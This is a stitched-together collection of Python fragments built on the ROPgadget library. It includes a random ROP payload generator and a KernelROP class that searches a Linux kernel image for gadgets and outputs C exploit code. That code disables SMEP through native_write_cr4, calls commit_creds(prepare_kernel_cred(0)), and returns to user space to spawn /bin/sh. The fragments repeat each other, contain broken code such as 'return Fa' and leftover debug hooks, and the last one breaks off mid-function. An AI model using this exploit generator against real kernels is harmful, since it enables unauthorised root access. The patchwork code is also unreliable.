def main(): parser = argparse.ArgumentParser(description='Generate payload for ropsimulate.') parser.add_argument('-s', '--seed', type=str, help='Random seed.') parser.add_argument('-e', '--end', type=str, metavar="<hexaddr>", default=0, help='Address of final gadget in payload.') parser.add_argument('-n', '--size', type=int, metavar="<number>", default=4096, help='Minimum size of payload in bytes') parser.add_argument('-w', '--memweight', type=int, metavar="0-99", default=75, choices=range(100), help='Weight of memory access gadgets (0-99). Default is 75, 0 if scratch buffer not specified.') parser.add_argument('-m', '--scratch', type=str, metavar="<hexaddr>", default='0', help='Address of scratch space for memory gadgets. No memory gadgets will be used without this argument.') parser.add_argument('input', type=str, help='Input ELF executable') parser.add_argument('output', type=argparse.FileType('wb'), help='Output ROP payload') args = parser.parse_args() random.seed(args.seed) ropg = ROPGadgetCore(ROPGadgetArgs(['--console']).getArgs()) ropg.do_binary(args.input, True) i = 0 scratch = int(args.scratch, 16) generate = ROPGenerate(ropg) while i < args.size/4: if scratch > 0 and random.randrange(100) < args.memweight: i += generate.get_random_mem_chain(scratch, args.output) else: i += generate.get_random_chain(args.output) final = int(args.end, 16) if (final > 0): args.output.write(struct.pack('<I', final)) i += 1 print '0x%08X = end' % final print 'Total bytes: %d' % (i*4)
def gadgets(path): # TODO: Use ROPGadget to load gadgets from the binary in path args = ["--binary", path, "--callPreceded"] ropcore = Core(Args(args).getArgs()) all_gadgets = ropcore.getGadgetsQuiet() print "ropgadget provided {} gadgets.".format(len(all_gadgets)) gadgets = { "reg_load": [], # gadgets to load reg from stack "add": [], # gadgets to perform addition on register "sub": [], # gadgets to perform subtraction on register "esp_lift": [], # gadgets to lift ESP "mem_read": [], # gadgets to read word from memory into reg "mem_write": [], # gadgets to write word from reg into memory. "other": [] } for gadget in all_gadgets: gtypes = classifyGadget(gadget) for gtype in gtypes: gadgets[gtype].append(gadget) print "----Gadget Types Loaded----" for key in gadgets: print "{}: {} gadgets".format(key, len(gadgets[key])) print "---------------------------" print_gadgets_from = "mem_write" for gadget in gadgets[print_gadgets_from]: print "{}\n writing ability: {}\n".format(gadget["gadget"], gadget["LOAD"]) assert False return gadgets
def __init__(self, kernel_path, cmd, KASLR=False): #self.b=angr.Project(KERNEL_PATH) self.c = Core(Args(arguments = cmd).getArgs()) self.kernel_path = kernel_path #self.k=ELF(kernel_path) self.k = None self.stack_pivot_gadgets = [] self.pop_rdi_ret_gadget = [] self.pop_rdx_ret_gadget = [] self.pop_rax_ret_gadget = [] self.swapgs_gadget = [] self.Iretq_gadget = None self.stack_pivot_gadgets_in_text = '' self.stack_pivot_gadgets_ready_to_use=[] self.user_space_base=None
def main(): import sys from ropgadget.args import Args from ropgadget.core import Core try: args = Args() except ValueError as e: print(e) sys.exit(-1) sys.exit(0 if Core(args.getArgs()).analyze() else 1)
def main(): import sys from ropgadget.args import Args from ropgadget.core import Core sys.exit(Core(Args().getArgs()).analyze())
class KernelROP(object): def __init__(self, kernel_path, cmd, KASLR=False): #self.b=angr.Project(KERNEL_PATH) self.c = Core(Args(arguments = cmd).getArgs()) self.kernel_path = kernel_path #self.k=ELF(kernel_path) self.k = None self.stack_pivot_gadgets = [] self.pop_rdi_ret_gadget = [] self.pop_rdx_ret_gadget = [] self.pop_rax_ret_gadget = [] self.swapgs_gadget = [] self.Iretq_gadget = None self.stack_pivot_gadgets_in_text = '' self.stack_pivot_gadgets_ready_to_use=[] self.user_space_base=None def is_stack_pivot(self, gadget): vaddr = gadget["vaddr"] insts = gadget["gadget"] if len(insts.split(';')) != 2: return False if vaddr % 8 != 0: # filter out gadget not align to 8 return False regex = re.compile(r'xchg e\w\w, esp ; ret[\S]*') if regex.search(insts) is None: return False return True def lookingForIretq(self): opcodes = '48cf' if self.c._Core__checksBeforeManipulations() is False: return False execsections = self.c._Core__binary.getExecSections() arch = self.c._Core__binary.getArchMode() for section in execsections: #if section['name'] != '.text': #continue allRef = [m.start() for m in re.finditer(re.escape(opcodes.decode("hex")), section["opcodes"])] for ref in allRef: vaddr = self.c._Core__offset + section["vaddr"] + ref rangeS = int(self.c._Core__options.range.split('-')[0], 16) rangeE = int(self.c._Core__options.range.split('-')[1], 16) if (rangeS == 0 and rangeE == 0) or (vaddr >= rangeS and vaddr <= rangeE): print(("0x%08x" %(vaddr) if arch == CS_MODE_32 else "0x%016x" %(vaddr)) + " : %s" %(opcodes)) self.Iretq_gadget = vaddr return #s=self.k.get_section_by_name('.text') #low_bound=s.header['sh_addr'] #high_bound=low_bound+s.header['sh_size'] #for _ in self.k.search('\x48\xcf'): #if _ > low_bound and _ < high_bound: #print 'Found iretq gadget at '+hex(_) #self.Iretq_gadget=_ #break return def lookingForSwapgs(self): if self.c._Core__checksBeforeManipulations()==False: return False arch = self.c._Core__binary.getArchMode() print("Gadgets information\n============================================================") for gadget in self.c._Core__gadgets: vaddr = gadget["vaddr"] insts = gadget["gadget"] if insts == "swapgs ; pop rbp ; ret": print("Swapgs gadget found at "+hex(vaddr)+' '+insts) self.swapgs_gadget.append(gadget) return def lookingForPopRaxRetGadget(self): if self.c._Core__checksBeforeManipulations()==False: return False arch = self.c._Core__binary.getArchMode() print("Gadgets information\n============================================================") for gadget in self.c._Core__gadgets: vaddr = gadget["vaddr"] insts = gadget["gadget"] if insts == "pop rax ; ret": print("Pop Rax Ret found at "+hex(vaddr)) self.pop_rax_ret_gadget.append(gadget) break return def lookingForPopRdxRetGadget(self): if self.c._Core__checksBeforeManipulations()==False: return False arch = self.c._Core__binary.getArchMode() print("Gadgets information\n============================================================") for gadget in self.c._Core__gadgets: vaddr = gadget["vaddr"] insts = gadget["gadget"] if insts == "pop rdx ; ret": print("Pop Rdx Ret found at "+hex(vaddr)) self.pop_rdx_ret_gadget.append(gadget) break return def lookingForPopRdiRetGadget(self): if self.c._Core__checksBeforeManipulations()==False: return False arch = self.c._Core__binary.getArchMode() print("Gadgets information\n============================================================") for gadget in self.c._Core__gadgets: vaddr = gadget["vaddr"] insts = gadget["gadget"] if insts == "pop rdi ; ret": print("Pop Rdi Ret found at "+hex(vaddr)) self.pop_rdi_ret_gadget.append(gadget) break return def lookingForStackPivotGadgets(self): """ find stack pivot to user space """ if self.c._Core__checksBeforeManipulations() == False: return False arch = self.c._Core__binary.getArchMode() print("Gadgets information\n============================================================") for gadget in self.c._Core__gadgets: vaddr = gadget["vaddr"] insts = gadget["gadget"] #print(("0x%08x" %(vaddr) if arch == CS_MODE_32 else "0x%016x" %(vaddr)) + " : %s" %(insts)) if self.is_stack_pivot(gadget): print(("0x%08x" %(vaddr) if arch == CS_MODE_32 else "0x%016x" %(vaddr)) + " : %s" %(insts)) self.stack_pivot_gadgets.append(gadget) self.stack_pivot_gadgets_in_text += hex(vaddr) + ' : ' + insts+'\n' return True def analyze_to_get_gadgets(self): if os.path.isfile('rop_core.cache'): try: self.c._Core__offset = int(self.c._Core__options.offset, 16) if self.c._Core__options.offset else 0 except ValueError: print("[Error] The offset must be in hexadecimal") return Fa self.c._Core__binary = Binary(self.c._Core__options) if self.c._Core__checksBeforeManipulations() == False: return False print '[+] loading rop core from disk' with open('rop_core.cache','rb') as f: self.c._Core__gadgets = pickle.load(f) else: try: self.c._Core__offset = int(self.c._Core__options.offset, 16) if self.c._Core__options.offset else 0 except ValueError: print("[Error] The offset must be in hexadecimal") return Fa self.c._Core__binary = Binary(self.c._Core__options) if self.c._Core__checksBeforeManipulations() == False: return False else: print 'getting all gadgets' self.c._Core__getAllgadgets() print '[+] dumping rop core to disk' with open('rop_core.cache','wb') as f: for agadget in self.c.gadgets(): agadget['decodes'] = None pickle.dump(self.c.gadgets(), f, -1) def find_offset_for_stack_pivot(self): for line in self.stack_pivot_gadgets_in_text.split('\n'): register_storing_ip = '' if line == '': continue target_str, gadget = line.split(':') target_addr = int(target_str, 16) stack_offset_str = gadget.strip().split('ret')[1] if stack_offset_str != '': stack_offset = int(stack_offset_str.strip(), 16) else: stack_offset = 0 if 'eax' in gadget: register_storing_ip = 'eax' elif 'ebx' in gadget: register_storing_ip = 'ebx' elif 'ecx' in gadget: register_storing_ip = 'ecx' elif 'edx' in gadget: register_storing_ip = 'edx' elif 'edi' in gadget: register_storing_ip = 'edi' elif 'esi' in gadget: register_storing_ip = 'esi' else: print '...' import IPython; IPython.embed() assert 0 #3print 'gadget =', gadget.strip() #print 'stack addr = %x' % (target_addr & 0xffffffff) #print 'stack top = %x' % (stack_offset) sp_gadget = {'stack_addr': target_addr, 'stack_top': stack_offset, 'gadget': gadget.strip(), 'register': register_storing_ip} self.stack_pivot_gadgets_ready_to_use.append(sp_gadget) return def find_function_address_by_name(self, function_name): try: addr=self.k.symbols[function_name] print function_name, 'is found at', hex(addr) except: print 'can not find'+function_name return -1 return addr def routine1_to_c_code(self, register_storing_ip='eax'): self.analyze_to_get_gadgets() self.k=ELF(self.kernel_path) self.lookingForStackPivotGadgets() self.find_offset_for_stack_pivot() self.lookingForPopRdiRetGadget() self.lookingForSwapgs() self.lookingForIretq() native_write_cr4 = self.find_function_address_by_name('native_write_cr4') prepare_kernel_cred = self.find_function_address_by_name('prepare_kernel_cred') commit_creds = self.find_function_address_by_name('commit_creds') #print self.pop_rdi_ret_gadget selected_gadget_idx=-1 # choose a stack pivot with selected registers for idx, stack_pivot_gadget in enumerate(self.stack_pivot_gadgets_ready_to_use): if stack_pivot_gadget['register']==register_storing_ip: selected_gadget_idx = idx break if selected_gadget_idx==-1: print 'can not find a suitable stack pivot gadget for register:', register_storing_ip import IPython; IPython.embed() consts ='' consts += '#include <sys/mman.h>\n' consts += '#define native_write_cr4 '\ + hex(native_write_cr4)\ + '\n' consts += '#define PREPARE_KERNEL_CRED '\ + hex(prepare_kernel_cred)\ + '\n' consts += '#define COMMIT_CREDS '\ + hex(commit_creds)\ + '\n' consts += '#define poprdiret '\ + hex(self.pop_rdi_ret_gadget[0]['vaddr'])\ + '\n' consts += '#define swapgs '\ + hex(self.swapgs_gadget[0]['vaddr'])\ + '\n' consts += '#define iretq '\ + hex(self.Iretq_gadget)\ + '\n' consts += '#define stack_pivot_gadget '\ + hex(self.stack_pivot_gadgets_ready_to_use[selected_gadget_idx]['stack_addr'])\ + '\n' consts += '#define stack_top_offset '\ + hex(self.stack_pivot_gadgets_ready_to_use[selected_gadget_idx]['stack_top'])\ + '\n' consts += '#define krop_base_to_map '\ + hex(self.stack_pivot_gadgets_ready_to_use[selected_gadget_idx]['stack_addr']&0xfffff000)\ + '\n' consts += 'int rop_start='\ + hex(self.stack_pivot_gadgets_ready_to_use[selected_gadget_idx]['stack_addr']\ &0xfff\ + self.stack_pivot_gadgets_ready_to_use[selected_gadget_idx]['stack_top'])\ + ';\n' consts += 'void* krop_base_mapped;\n' body = '''unsigned long rop_chain[] = { poprdiret, 0x6f0, native_write_cr4, get_root_payload, swapgs, 0, //dummy iretq, get_shell, 0,//user_cs, 0,//user_rflags, 0,//krop_base_mapped + 0x4000, 0//user_ss }; ''' header = ''' unsigned long user_cs, user_ss, user_rflags; static void save_state() { asm( "movq %%cs, %0\\n" "movq %%ss, %1\\n" "pushfq\\n" "popq %2\\n" : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) : : "memory"); } void get_shell() { char *shell = "/bin/sh"; char *args[] = {shell, NULL}; execve(shell, args, NULL); } typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS; _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED; void get_root_payload(void) { commit_creds(prepare_kernel_cred(0)); } ''' krop_base = self.stack_pivot_gadgets_ready_to_use[selected_gadget_idx]\ ['stack_addr']&0xfffff000 tail = ''' void prepare_krop(){ krop_base_mapped=mmap((void *)krop_base_to_map,0x8000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0); if (krop_base_mapped<0){ perror("mmap failed"); } rop_chain[8]=user_cs; rop_chain[9]=user_rflags; rop_chain[10]=krop_base_mapped + 0x4000; rop_chain[11]=user_ss; memcpy(krop_base_mapped+rop_start,rop_chain,sizeof(rop_chain)); puts("rop_payload_initialized"); } ''' c_code = consts + header + body + tail print 'finied generating c code for KROP' return selected_gadget_idx, c_code, self.c
def main(bin_path, module_name, p): import sys from ropgadget.args import Args from ropgadget.core import Core from argparse import Namespace # sys.exit(0 if Core(Args().getArgs()).analyze() else 1) l = 0 for j in bin_path: n = j.split('\\') n = n[len(n) - 1] if len(n) > l: l = len(n) # p = "C:\\Users\\User\\Desktop\\ROP_Project\\Gadget_Sets\\" f = open(module_name + "_ROP_Gadgets.txt", "w") for b in bin_path: options = Namespace(all=False, badbytes=None, binary=b, callPreceded=False, checkUpdate=False, console=False, depth=10, dump=False, filter=None, memstr=None, multibr=False, noinstr=False, nojop=True, norop=False, nosys=True, offset=None, only=None, opcode=None, range='0x0-0x0', rawArch=None, rawEndian=None, rawMode=None, re=None, ropchain=False, silent=True, string=None, thumb=False, version=False) print(b) c = Core(options) c.analyze() g = (c.gadgets()) name = b.split('\\') name = name[len(name) - 1] for i in g: s = str(name) + ("-" * (len(name) - l)) + " | " + str( hex(i['vaddr'])) + " | " + str(i['gadget']) + "\n" f.write(s) f.close() return module_name + "_ROP_Gadgets.txt"
def __init__(self, binary): arguments = ["--binary", binary, "--silent", "--multibr"] args = ropgadget.args.Args(arguments).getArgs() core = Core(args) core.analyze() self.gadgets = core.gadgets()
from pwn import * import subprocess import ropgadget from ropgadget.binary import Binary from capstone import CS_MODE_32 import re KERNEL_PATH = '/home/ww9210/kernels/4.10-no-kasan/vmlinux' KERNEL_PATH = '/home/ww9210/kernels/4.10-inject-10150-no-kasan/vmlinux' cmd= ('--binary ' + KERNEL_PATH + ' --depth 3')\ .split(' ') #subprocess.call(cmd.split(' ')) from ropgadget.args import Args from ropgadget.core import Core c = Core(Args(arguments=cmd).getArgs()) #import IPython; IPython.embed() def is_stack_pivot(gadget): ''' when choosing a stack pivot gadget is that it needs to be aligned by 8 bytes (since the ops is the array of 8 byte pointers and its base address is properly aligned)''' vaddr = gadget["vaddr"] insts = gadget["gadget"] if len(insts.split(';')) != 2: return False if vaddr % 8 != 0: return False regex = re.compile(r'xchg e\w\w, esp ; ret[\S]*') if regex.search(insts) == None: